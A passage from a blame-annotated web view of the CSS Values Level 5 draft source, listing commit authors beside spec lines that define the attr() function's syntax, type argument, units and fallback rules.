class="lineno"> <a href="#l1557" id="l1557"> 1557</a> </td> <td class="source"> attr() = attr( <<attr-name>> <<attr-type>>? , <<declaration-value>>?) </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/ef40c0c18301/css-values-5/Overview.bs#l636" title="ef40c0c18301: [css-values-5][editorial] bikeshed fixes">jackalmage@30482</a> </td> <td class="lineno"> <a href="#l1558" id="l1558"> 1558</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/ef40c0c18301/css-values-5/Overview.bs#l637" title="ef40c0c18301: [css-values-5][editorial] bikeshed fixes">jackalmage@30482</a> </td> <td class="lineno"> <a href="#l1559" id="l1559"> 1559</a> </td> <td class="source"> <dfn>&lt;attr-name></dfn> = [ <<ident-token>> '|' ]? <<ident-token>> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/5c6a7e6983f2/css-values-5/Overview.bs#l1560" title="5c6a7e6983f2: [css-values-5] Tweak the syntax of the attr() syntax specifier, per WG resolution. #11034 #11035">jackalmage@31802</a> </td> <td class="lineno"> <a href="#l1560" id="l1560"> 1560</a> </td> <td class="source"> <dfn>&lt;attr-type></dfn> = type( <<syntax>> ) | string | <<attr-unit>> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l270" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1561" id="l1561"> 1561</a> </td> <td class="source"> </pre> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l271" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1562" id="l1562"> 1562</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/5c6a7e6983f2/css-values-5/Overview.bs#l1563" title="5c6a7e6983f2: [css-values-5] Tweak the syntax of the attr() syntax specifier, per WG resolution. #11034 #11035">jackalmage@31802</a> </td> <td class="lineno"> <a href="#l1563" id="l1563"> 1563</a> </td> <td class="source"> The <dfn>&lt;attr-unit></dfn> production matches any [=identifier=] </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/5c6a7e6983f2/css-values-5/Overview.bs#l1564" title="5c6a7e6983f2: [css-values-5] Tweak the syntax of the attr() syntax specifier, per WG resolution. #11034 #11035">jackalmage@31802</a> </td> <td class="lineno"> <a href="#l1564" id="l1564"> 1564</a> </td> <td class="source"> that is an [=ASCII case-insensitive=] match </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/5c6a7e6983f2/css-values-5/Overview.bs#l1565" title="5c6a7e6983f2: [css-values-5] Tweak the syntax of the attr() syntax specifier, per WG resolution. #11034 #11035">jackalmage@31802</a> </td> <td class="lineno"> <a href="#l1565" id="l1565"> 1565</a> </td> <td class="source"> for the name of a CSS dimension unit, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/5c6a7e6983f2/css-values-5/Overview.bs#l1566" title="5c6a7e6983f2: [css-values-5] Tweak the syntax of the attr() syntax specifier, per WG resolution. #11034 #11035">jackalmage@31802</a> </td> <td class="lineno"> <a href="#l1566" id="l1566"> 1566</a> </td> <td class="source"> such as ''px'', </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/5c6a7e6983f2/css-values-5/Overview.bs#l1567" title="5c6a7e6983f2: [css-values-5] Tweak the syntax of the attr() syntax specifier, per WG resolution. #11034 #11035">jackalmage@31802</a> </td> <td class="lineno"> <a href="#l1567" id="l1567"> 1567</a> </td> <td class="source"> or the <<delim-token>> <css>%</css>. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/5c6a7e6983f2/css-values-5/Overview.bs#l1568" title="5c6a7e6983f2: [css-values-5] Tweak the syntax of the attr() syntax specifier, per WG resolution. #11034 #11035">jackalmage@31802</a> </td> <td class="lineno"> <a href="#l1568" id="l1568"> 1568</a> </td> <td class="source"> It is not expanded literally here, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/5c6a7e6983f2/css-values-5/Overview.bs#l1569" title="5c6a7e6983f2: [css-values-5] Tweak the syntax of the attr() syntax specifier, per WG resolution. #11034 #11035">jackalmage@31802</a> </td> <td class="lineno"> <a href="#l1569" id="l1569"> 1569</a> </td> <td class="source"> as the set of units expands over time. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/5c6a7e6983f2/css-values-5/Overview.bs#l1570" title="5c6a7e6983f2: [css-values-5] Tweak the syntax of the attr() syntax specifier, per WG resolution. #11034 #11035">jackalmage@31802</a> </td> <td class="lineno"> <a href="#l1570" id="l1570"> 1570</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/ef40c0c18301/css-values-5/Overview.bs#l643" title="ef40c0c18301: [css-values-5][editorial] bikeshed fixes">jackalmage@30482</a> </td> <td class="lineno"> <a href="#l1571" id="l1571"> 1571</a> </td> <td class="source">  </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/ef40c0c18301/css-values-5/Overview.bs#l646" title="ef40c0c18301: [css-values-5][editorial] bikeshed fixes">jackalmage@30482</a> </td> <td class="lineno"> <a href="#l1574" id="l1574"> 1574</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l278" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1575" id="l1575"> 1575</a> </td> <td class="source"> The arguments of ''attr()'' are: </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l279" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1576" id="l1576"> 1576</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/ef40c0c18301/css-values-5/Overview.bs#l655" title="ef40c0c18301: [css-values-5][editorial] bikeshed fixes">jackalmage@30482</a> </td> <td class="lineno"> <a href="#l1577" id="l1577"> 1577</a> </td> <td class="source"> : <<attr-name>> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/ef40c0c18301/css-values-5/Overview.bs#l656" title="ef40c0c18301: [css-values-5][editorial] bikeshed fixes">jackalmage@30482</a> </td> <td class="lineno"> <a href="#l1578" id="l1578"> 1578</a> </td> <td class="source"> :: Gives the name of the attribute being referenced, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/ef40c0c18301/css-values-5/Overview.bs#l657" title="ef40c0c18301: [css-values-5][editorial] bikeshed fixes">jackalmage@30482</a> </td> <td class="lineno"> <a href="#l1579" id="l1579"> 1579</a> </td> <td class="source"> similar to <<wq-name>> (from [[SELECTORS-3]]) </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/ef40c0c18301/css-values-5/Overview.bs#l658" title="ef40c0c18301: [css-values-5][editorial] bikeshed fixes">jackalmage@30482</a> </td> <td class="lineno"> <a href="#l1580" id="l1580"> 1580</a> </td> <td class="source"> but without the possibility of a wildcard prefix. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l282" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1581" id="l1581"> 1581</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l283" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1582" id="l1582"> 1582</a> </td> <td class="source"> If no namespace is specified </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l284" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1583" id="l1583"> 1583</a> </td> <td class="source"> (just an identifier is given, like ''attr(foo)''), </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l285" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1584" id="l1584"> 1584</a> </td> <td class="source"> the null namespace is implied. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l286" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1585" id="l1585"> 1585</a> </td> <td class="source"> (This is usually what's desired, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l287" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1586" id="l1586"> 1586</a> </td> <td class="source"> as namespaced attributes are rare. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l288" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1587" id="l1587"> 1587</a> </td> <td class="source"> In particular, HTML and SVG do not contain namespaced attributes.) </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l289" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1588" id="l1588"> 1588</a> </td> <td class="source"> As with [=attribute selectors=], </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/ef40c0c18301/css-values-5/Overview.bs#l667" title="ef40c0c18301: [css-values-5][editorial] bikeshed fixes">jackalmage@30482</a> </td> <td class="lineno"> <a href="#l1589" id="l1589"> 1589</a> </td> <td class="source"> the case-sensitivity of <<attr-name>> depends on the document language. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l291" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1590" id="l1590"> 1590</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l292" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1591" id="l1591"> 1591</a> </td> <td class="source"> If ''attr()'' is used in a property applied to an element, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l293" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1592" id="l1592"> 1592</a> </td> <td class="source"> it references the attribute of the given name on that element; </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l294" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1593" id="l1593"> 1593</a> </td> <td class="source"> if applied to a pseudo-element, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l295" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1594" id="l1594"> 1594</a> </td> <td class="source"> the attribute is looked up on the pseudo-element's [=originating element=]. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l296" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1595" id="l1595"> 1595</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/5c6a7e6983f2/css-values-5/Overview.bs#l1596" title="5c6a7e6983f2: [css-values-5] Tweak the syntax of the attr() syntax specifier, per WG resolution. #11034 #11035">jackalmage@31802</a> </td> <td class="lineno"> <a href="#l1596" id="l1596"> 1596</a> </td> <td class="source"> : <<attr-type>> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l298" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1597" id="l1597"> 1597</a> </td> <td class="source"> :: </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l1429" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l1598" id="l1598"> 1598</a> </td> <td class="source"> Specifies how the attribute value is [=CSS/parsed=] into a CSS value. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/5c6a7e6983f2/css-values-5/Overview.bs#l1599" title="5c6a7e6983f2: [css-values-5] Tweak the syntax of the attr() syntax specifier, per WG resolution. #11034 #11035">jackalmage@31802</a> </td> <td class="lineno"> <a href="#l1599" id="l1599"> 1599</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/5c6a7e6983f2/css-values-5/Overview.bs#l1600" title="5c6a7e6983f2: [css-values-5] Tweak the syntax of the attr() syntax specifier, per WG resolution. #11034 #11035">jackalmage@31802</a> </td> <td class="lineno"> <a href="#l1600" id="l1600"> 1600</a> </td> <td class="source"> If given as a ''type()'' function, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/5c6a7e6983f2/css-values-5/Overview.bs#l1601" title="5c6a7e6983f2: [css-values-5] Tweak the syntax of the attr() syntax specifier, per WG resolution. #11034 #11035">jackalmage@31802</a> </td> <td class="lineno"> <a href="#l1601" id="l1601"> 1601</a> </td> <td class="source"> the value is parsed according to the <<syntax>> argument, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/5c6a7e6983f2/css-values-5/Overview.bs#l1602" title="5c6a7e6983f2: [css-values-5] Tweak the syntax of the attr() syntax specifier, per WG resolution. #11034 #11035">jackalmage@31802</a> </td> <td class="lineno"> <a href="#l1602" id="l1602"> 1602</a> </td> <td class="source"> and substitutes as the resulting tokens. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l1430" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l1603" id="l1603"> 1603</a> </td> <td class="source"> Values that fail to parse according to the syntax </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l1431" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l1604" id="l1604"> 1604</a> </td> <td class="source"> trigger fallback. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l1432" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l1605" id="l1605"> 1605</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/5c6a7e6983f2/css-values-5/Overview.bs#l1606" title="5c6a7e6983f2: [css-values-5] Tweak the syntax of the attr() syntax specifier, per WG resolution. #11034 #11035">jackalmage@31802</a> </td> <td class="lineno"> <a href="#l1606" id="l1606"> 1606</a> </td> <td class="source"> If given as an <<attr-unit>> value, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/5c6a7e6983f2/css-values-5/Overview.bs#l1607" title="5c6a7e6983f2: [css-values-5] Tweak the syntax of the attr() syntax specifier, per WG resolution. #11034 #11035">jackalmage@31802</a> </td> <td class="lineno"> <a href="#l1607" id="l1607"> 1607</a> </td> <td class="source"> the value is first parsed as if <css>type(&lt;number>)</css> was specified, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/5c6a7e6983f2/css-values-5/Overview.bs#l1608" title="5c6a7e6983f2: [css-values-5] Tweak the syntax of the attr() syntax specifier, per WG resolution. #11034 #11035">jackalmage@31802</a> </td> <td class="lineno"> <a href="#l1608" id="l1608"> 1608</a> </td> <td class="source"> then the resulting numeric value </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/5c6a7e6983f2/css-values-5/Overview.bs#l1609" title="5c6a7e6983f2: [css-values-5] Tweak the syntax of the attr() syntax specifier, per WG resolution. #11034 #11035">jackalmage@31802</a> </td> <td class="lineno"> <a href="#l1609" id="l1609"> 1609</a> </td> <td class="source"> is turned into a dimension with the corresponding unit, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/5c6a7e6983f2/css-values-5/Overview.bs#l1610" title="5c6a7e6983f2: [css-values-5] Tweak the syntax of the attr() syntax specifier, per WG resolution. #11034 #11035">jackalmage@31802</a> </td> <td class="lineno"> <a href="#l1610" id="l1610"> 1610</a> </td> <td class="source"> or a percentage if <css>%</css> was given. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/5c6a7e6983f2/css-values-5/Overview.bs#l1611" title="5c6a7e6983f2: [css-values-5] Tweak the syntax of the attr() syntax specifier, per WG resolution. #11034 #11035">jackalmage@31802</a> </td> <td class="lineno"> <a href="#l1611" id="l1611"> 1611</a> </td> <td class="source"> Values that fail to parse as a <css>&lt;number></css> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/5c6a7e6983f2/css-values-5/Overview.bs#l1612" title="5c6a7e6983f2: [css-values-5] Tweak the syntax of the attr() syntax specifier, per WG resolution. #11034 #11035">jackalmage@31802</a> </td> <td class="lineno"> <a href="#l1612" id="l1612"> 1612</a> </td> <td class="source"> trigger fallback. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/5c6a7e6983f2/css-values-5/Overview.bs#l1613" title="5c6a7e6983f2: [css-values-5] Tweak the syntax of the attr() syntax specifier, per WG resolution. #11034 #11035">jackalmage@31802</a> </td> <td class="lineno"> <a href="#l1613" id="l1613"> 1613</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/5c6a7e6983f2/css-values-5/Overview.bs#l1614" title="5c6a7e6983f2: [css-values-5] Tweak the syntax of the attr() syntax specifier, per WG resolution. #11034 #11035">jackalmage@31802</a> </td> <td class="lineno"> <a href="#l1614" id="l1614"> 1614</a> </td> <td class="source"> If given as the <css>string</css> keyword, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/5c6a7e6983f2/css-values-5/Overview.bs#l1615" title="5c6a7e6983f2: [css-values-5] Tweak the syntax of the attr() syntax specifier, per WG resolution. #11034 #11035">jackalmage@31802</a> </td> <td class="lineno"> <a href="#l1615" id="l1615"> 1615</a> </td> <td class="source"> or omitted entirely, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/5c6a7e6983f2/css-values-5/Overview.bs#l1616" title="5c6a7e6983f2: [css-values-5] Tweak the syntax of the attr() syntax specifier, per WG resolution. #11034 #11035">jackalmage@31802</a> </td> <td class="lineno"> <a href="#l1616" id="l1616"> 1616</a> </td> <td class="source"> it causes the attribute's literal value </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l1435" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l1617" id="l1617"> 1617</a> </td> <td class="source"> to be treated as the value of a CSS string, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l1436" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l1618" id="l1618"> 1618</a> </td> <td class="source"> with no CSS parsing performed at all </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l1437" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l1619" id="l1619"> 1619</a> </td> <td class="source"> (including CSS escapes, whitespace removal, comments, etc). </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/5c6a7e6983f2/css-values-5/Overview.bs#l1620" title="5c6a7e6983f2: [css-values-5] Tweak the syntax of the attr() syntax specifier, per WG resolution. #11034 #11035">jackalmage@31802</a> </td> <td class="lineno"> <a href="#l1620" id="l1620"> 1620</a> </td> <td class="source"> No value triggers fallback; </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/5c6a7e6983f2/css-values-5/Overview.bs#l1621" title="5c6a7e6983f2: [css-values-5] Tweak the syntax of the attr() syntax specifier, per WG resolution. #11034 #11035">jackalmage@31802</a> </td> <td class="lineno"> <a href="#l1621" id="l1621"> 1621</a> </td> <td class="source"> only the lack of the attribute entirely does. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/5c6a7e6983f2/css-values-5/Overview.bs#l1622" title="5c6a7e6983f2: [css-values-5] Tweak the syntax of the attr() syntax specifier, per WG resolution. #11034 #11035">jackalmage@31802</a> </td> <td class="lineno"> <a href="#l1622" id="l1622"> 1622</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/5c6a7e6983f2/css-values-5/Overview.bs#l1623" title="5c6a7e6983f2: [css-values-5] Tweak the syntax of the attr() syntax specifier, per WG resolution. #11034 #11035">jackalmage@31802</a> </td> <td class="lineno"> <a href="#l1623" id="l1623"> 1623</a> </td> <td class="source"> Note: This is different from specifying a syntax of ''type(*)'', </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l1440" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l1624" id="l1624"> 1624</a> </td> <td class="source"> which still triggers CSS parsing </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l1441" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l1625" id="l1625"> 1625</a> </td> <td class="source"> (but with no requirements placed on it </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l1442" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l1626" id="l1626"> 1626</a> </td> <td class="source"> beyond that it parse validly), </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/5c6a7e6983f2/css-values-5/Overview.bs#l1627" title="5c6a7e6983f2: [css-values-5] Tweak the syntax of the attr() syntax specifier, per WG resolution. #11034 #11035">jackalmage@31802</a> </td> <td class="lineno"> <a href="#l1627" id="l1627"> 1627</a> </td> <td class="source"> and which substitutes the result of that parsing directly as tokens, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l1444" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l1628" id="l1628"> 1628</a> </td> <td class="source"> rather than as a <<string>> value. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l307" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1629" id="l1629"> 1629</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l308" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1630" id="l1630"> 1630</a> </td> <td class="source"> : <<declaration-value>> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l309" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1631" id="l1631"> 1631</a> </td> <td class="source"> :: </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l310" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1632" id="l1632"> 1632</a> </td> <td class="source"> Specifies a fallback value for the ''attr()'', </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l311" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1633" id="l1633"> 1633</a> </td> <td class="source"> which will be substituted instead of the attribute's value </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l312" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1634" id="l1634"> 1634</a> </td> <td class="source"> if the attribute is missing </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l313" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1635" id="l1635"> 1635</a> </td> <td class="source"> or fails to parse as the specified type. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l314" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1636" id="l1636"> 1636</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l1453" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l1637" id="l1637"> 1637</a> </td> <td class="source"> If the <<syntax>> argument is omitted, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l1454" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l1638" id="l1638"> 1638</a> </td> <td class="source"> the fallback defaults to the empty string if omitted; </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l1455" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l1639" id="l1639"> 1639</a> </td> <td class="source"> otherwise, it defaults to the [=guaranteed-invalid value=] if omitted. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l318" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1640" id="l1640"> 1640</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l319" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1641" id="l1641"> 1641</a> </td> <td class="source"> If a property contains one or more ''attr()'' functions, </td> </tr> <tr class="parity1"> <td 